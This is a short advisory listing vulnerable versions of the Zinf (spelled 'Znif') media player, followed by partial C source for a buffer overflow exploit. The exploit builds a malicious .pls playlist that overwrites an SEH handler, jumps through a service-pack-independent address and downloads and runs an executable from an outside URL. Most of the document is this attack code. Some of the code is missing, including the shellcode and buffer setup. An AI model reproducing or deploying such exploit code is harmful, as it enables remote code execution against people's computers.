Vulnerable Systems:
* Znif for Windows version 2.2.1 and prior
* Znif Linux version 2.2.4 and prior
Immune Systems:
* Znif Linux version 2.2.5
Exploit:
/*
this exploit generates a file exploit.pls which overflows a seh handler
jumps into a service pack independent address then it downloads and executes a file
you can also download this exploit i a rar file(www.delikon.de).
in this rar file you will find some screenshots, from OllyDbg
which is maybe useful for beginners
*/
char buffer[SIZE];
char exploit[]="exploit.pls";
char head[]="[playlist]File1=";
int i=0;
ULONG bytes=0;
char *pointer=NULL;
//for the decoder
short int weblength=0xff22;
ULONG RetAddr=0x10404DC4;
/*
SERVICE PACK independent
httpinput.pmi
10404DC4 5D POP EBP
10404DC5 B8 18000000 MOV EAX,18
10404DCA 5B POP EBX
10404DCB C2 0800 RETN 8
*/
//jump into nops
DWORD jump=0x909025eb;
HANDLE file=NULL;
//this is a small messageBox app
char web[]="http://www.delikon.de/klein.exe";
printf("A Buffer overflow exploit against Zinf 2.2.1 for Win32\n");
printf("Coded by Delikon|www.delikon.de|27.9.04\n");
printf("all credits goes to Luigi Auriemma\n");
printf("\n [+] generate exploit.pls\n");
//jump 24 bytes forward
memcpy(buffer+strlen(buffer),&jump,4);
//jump into pop reg pop reg ret
memcpy(buffer+strlen(buffer),&RetAddr,4);
memset(buffer+strlen(buffer),0x45,4);
memset(buffer+strlen(buffer),0x46,4);
memset(buffer+strlen(buffer),0x47,4);
WriteFile(file,buffer,strlen(buffer),&bytes,0);
CloseHandle(file);
printf("\n [+] ready press a key\n");
getchar();
